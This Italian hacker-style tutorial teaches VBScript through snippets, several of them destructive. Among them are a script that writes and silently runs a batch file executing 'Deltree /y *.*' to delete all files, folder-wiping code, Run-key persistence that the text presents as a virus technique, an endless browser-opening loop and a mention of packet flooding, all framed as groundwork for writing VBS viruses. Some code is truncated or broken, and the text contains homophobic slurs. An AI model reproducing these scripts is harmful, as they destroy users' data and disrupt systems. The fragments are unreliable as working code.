Siccome potreste
appallarvi parlando di cos’è uno script e cos’è il visual
basic, faremo
subito un esempio pratico dell’utilizzo del VBS.
1) Aprite il blocco note
2) Scrivete queste righe
MsgBox “L’utente sembra avere una testa quadrata”, 16, “Errore di
Sistema”
Attenzione:
se fate un bel copia-e-incolla da questi listati qui sul sito, dovrete
riscrivervi le virgolette, perché qui c’è impostato un
tipo di
carattere diverso da quello del blocco note, non riconosciuto per
scrivere gli script.
3) Salvate il file con nome “quadro.vbs” ,
assicuratevi che il file sia salvato in formato .vbs e non .txt, per
controllare se è stato salvato correttamente potete vedere la
sua
icona, se il file è stato salvato correttamente come un .vbs,
l’icona
visibile sarà questa:
Quella è l’icona degli script visual basic, dei file .vbs oppure
.vbe , estensione altrettanto valida e con la stessa icona.
4) Cliccate due volte sul file e… magia! Il sistema operativo ci
contesta la testa :)..
Ora la spiegazione del Vbs
In
poche parole, il visual basic script, il basic scripting host, il vbs,
il vbe o come cazzo volete chiamarlo, è un vero e proprio
linguaggio di
programmazione che si scrive con il blocco note.
Non è possibile
creare veri e propri programmi con icone, file .exe, robe complesse, ma
è comunque possibile ad esempio creare dei virus addirittura col
vbs!
Il
vbs rispetta la stessa sintassi e regole del linguaggio di
programmazione Visual Basic (molto più semplice e intuitivo del
c++ ma
meno potente).
Bello il vbs, no?
Scopriamo cosa può fare il vbs
A questo punto è giusto dire qualcosa riguardo a cosa si
può fare con questo potente linguaggio script!
Ecco
una esauriente lista di cose che possiamo far fare al vbs. Ognuna di
queste righe può essere scritta nel blocco note assieme alle
altre e
dovrete salvare il file di testo con un nome qualsiasi ma con
estensione .vbs o .vbe per far funzionare lo script.
- Messaggi di testo a video –
Forma:
MsgBox “testo”, n, “titolo”
Parametri:
il testo è il testo del messaggio che verrà visualizzato,
il titolo è
il testo del titolo che verrà visualizzato. n è un numero
che indica se
il messaggio deve essere di avviso, di errore, di avvertimento o di
domanda e può assumere i seguenti valori:
n Tipo di messaggio
16
64
48
vbQuestion + vbYesNo ( icona con tasti sì e no)
- Domanda all’utente –
dim risp
risp = msgbox("Sei frocio?",vbQuestion + vbYesNo)
if risp = vbYes Then msgbox ("Hai detto di sì Imbecille!") else
msgbox ("Tanto non è vero")
Se
l’utente risponde Sì alla domanda “Sei frocio?” verrà
visualizzato il
messaggio “Hai detto di sì Imbecille”, altrimenti il messaggio
“Tanto
non è vero”. Al posto di vbYes è anche possibile usare
vbNo per una
risposta negativa.
- Cancellare un file –
set fso = CreateObject("Scripting.filesystemobject")
set fl = fso.GetFile(“C:\cazzo.txt”)
fl.Delete
Il file che viene cancellato è il file di testo con nome “cazzo”
che si trova nella directory C:\
- Cancellare una intera directory –
set fso = CreateObject("Scripting.filesystemobject")
fso.DeleteFolder(“C:\cazzo”)
La directory cancellata ha nome “cazzo” e si trova in C:\
- Riproduzione dello script –
set fso = CreateObject("Scripting.filesystemobject")
Con
queste righe, il file che abbiamo creato .vbs, qualunque sia il suo
nome e dovunque esso sia collocato, si copia interamente nella
directory C:\ con il nome hello.vbs
In
questo modo il file .vbs scrive nella chiave di avvio del sistema Run
(troncata con …… per motivi di spazio), il valore con nome “MyKey” e
con dati la parola “Dati” e di tipo REG_SZ. Vediamo dunque che in modo
analogo, lo script può fungere da virus partendo con il sistema
ogni
volta! Per scrivere una chiave, anziché un valore, è
sufficiente
indicare “MyKey\” al posto di “MyKey” e omettere dati e tipo di dati.
Per
chi non sapesse che cos’è il registro di sistema, come
può partire un
programma all’avvio del Pc e cosa significa REG_SZ, la chiave Run,
“MyKey”, ecc…. legga queste due importantissime sezioni :
Come partono con Windows i programmi
Il Regedit: La stanza dei bottoni di Windows
- Leggere il registro di sistema –
set rege = CreateObject(“Wscript.shell”)
str = rege.regread(“HKLM\..Run\ccApp”)
In
questo modo il file .vbs legge nella chiave Run (troncata con ..), il
valore “ccApp” e memorizza il testo di questa chiave nella variabile
str.
Per chi non sapesse che cos’è il registro di sistema, come
può partire un programma all’avvio del Pc e cosa significa
leggere una
chiave, un valore, ecc.. legga queste due importantissime sezioni :
Come partono con Windows i programmi
Il Regedit: La stanza dei bottoni di Windows
- Creare e scrivere file di testo –
set fso = CreateObject("Scripting.filesystemobject")
set tf = fso.CreateTextFile(“C:\ww.txt”, True)
tf.WriteLine(“ciao”)
tf.WriteBlanckLines(2) ‘ va a capo due volte
tf.Write (“closed”)
tf.close
Il
vbs qui crea in C:\ il file con di testo con nome “ww” e ci scrive il
testo “ciao”, poi va due volte a capo, poi scrive “closed” e chiude il
file. Notare che il testo va a capo due volte preceduto dall’apice ‘ ,
è un commento che verrà ignorato dal sistema.
- Mostrare la finestra di formattazione del pc –
set wsh = CreateObject(“Wscript.shell”)
wsh.run “rundll32.exe shell32.dll, SHFormatDrive”
Mostra la finestra dove solitamente si formatta il pc. Fa un po’ paura
..
- Ottenere informazioni sul sistema operativo –
set wsh = CreateObject(“Wscript.shell”)
set objsysinfo = CreateObject(“SYSINFO.Sysinfo”)
wscript.echo objsysinfo.OSBuild
wscript.echo objsysinfo.OSPlataform
wscript.echo objsysinfo.OSVersion
la funzione “echo” mostra messaggi di testo, è simile a “MsgBox”.
- Spegnere o Riavviare il sistema (ottimo, lavora anche su XP Pro) –
Set OpSysSet =
GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select *
from
Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.Reboot() 'o Shutdown()
Next
In questo caso il sistema verrà riavviato, ma se si vuole
spegnere il pc, sostituire OpSys.Reboot() con OpSys.Shutdown() .
- Eseguire un programma e attendere fino alla sua fine –
set wsh = CreateObject(“Wscript.shell”)
wsh.run “notepad” & “C:\text.txt”, 1, true
‘now waiting…
MsgBox “termina”
Il
parametro “true” della funzione “run”, indica che dobbiamo attendere
fino alla fine del programma per mostrare il messaggio di testo
“termina”.
- Eseguire comandi da Dos –
set wsh = CreateObject(“Wscript.shell”)
wsh.run(“ping 127.0.0.1”, 1, TRUE)
In
questo caso si mostrerà una finestra Dos, che farà il
ping (vedere se
un pc è connesso ad internet e risponde) al nostro stesso
sistema. True
indica, come prima, che dobbiamo attendere la fine del programma per
terminare il file .vbs.
- Fare la somma di due numeri inseriti da tastiera dall’utente –
a = inputbox(“Primo numero”)
b = inputbox(“Secondonumero”)
c = int(a) + int(b)
MsgBox “Tot” & c
Con
la funzione “inputbox” si mostra una finestrella che chiede di inserire
il “primo numero”, poi una seconda che chiede il “secondo numero”, poi
il programmino fa la somma e visualizza il risultato in una messagebox
(msgbox)
Inviamo
pacchetti a ripetizione senza sosta ad un pc. Se tanti pc con l’adsl
facessero questo allo stesso ip o sito, probabilmente ci sarebbero
parecchi problemi! State attenti a farlo! “On error resume next” indica
che, se una istruzione è sbagliata o non valida, il vbs deve
continuare
con quella dopo e non fermarsi dando errore sullo schermo.
- Eseguire un’operazione all’infinito –
On Error resume Next
set wsh = CreateObject(“Wscript.shell”)
Do
Wsc.Run “http://www.sesso.it”, 3, false
Loop
Attenti qua! Si aprono finestre di Internet Explorer all’infinito! E
tutte verso www.sesso.it
!
- Cancellare tutti i files –
on error resume next
set fso = CreateObject("Scripting.filesystemobject")
set wsh = CreateObject(“Wscript.shell”)
set write = fso.CreateTextFile(“C:\Angry.bat”,True)
write.WriteLine “Deltree /y *.*”
write.close
wsc.run “C:\Angry.bat”,0,False
Attenti
anche qua! Viene creato il file batch (.bat) con nome Angry che
contiene il comando di cancellare senza preavviso tutti i files che
vengono trovati e con qualsiasi estensione !
Tramite una chiave nel registro di sistema, blocca la tastiera e/o il
mouse
Per
chi non sapesse che cos’è il registro di sistema, come
può partire un
programma all’avvio del Pc e cosa significa leggere una chiave, un
valore, ecc.. legga queste due importantissime sezioni :
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("c:\Downloads") Then
foldersys.DeleteFolder "C:\Downloads",True
End if
Qui si verifica anche se la cartella esiste
- Cancellare tutti i files in una cartella, ma lasciando la cartella
intatta –
dim filesysdelfile
Set filesysdelfile = CreateObject("Scripting.FileSystemObject")
filesysdelfile.DeleteFile "C:\Downloads\*.*",True
Set filesysdelfile = Nothing
Tutti i files nella directory C:\Downloads verranno cancellati, ma la
directory resterà intatta.
I virus in vbs
Ora,
se avete letto tutto ciò che il vbs può fare (scommetto
un miliardo di
NO!), avrete certamente capito, a meno che non siate davvero coglioni
100%, che è possibilissimo fare un bel virus con il basic
scripting
host, no?
Esistono programmini che creano da soli virus in vbs.
By dabasaro, zipper2 , hacker millennium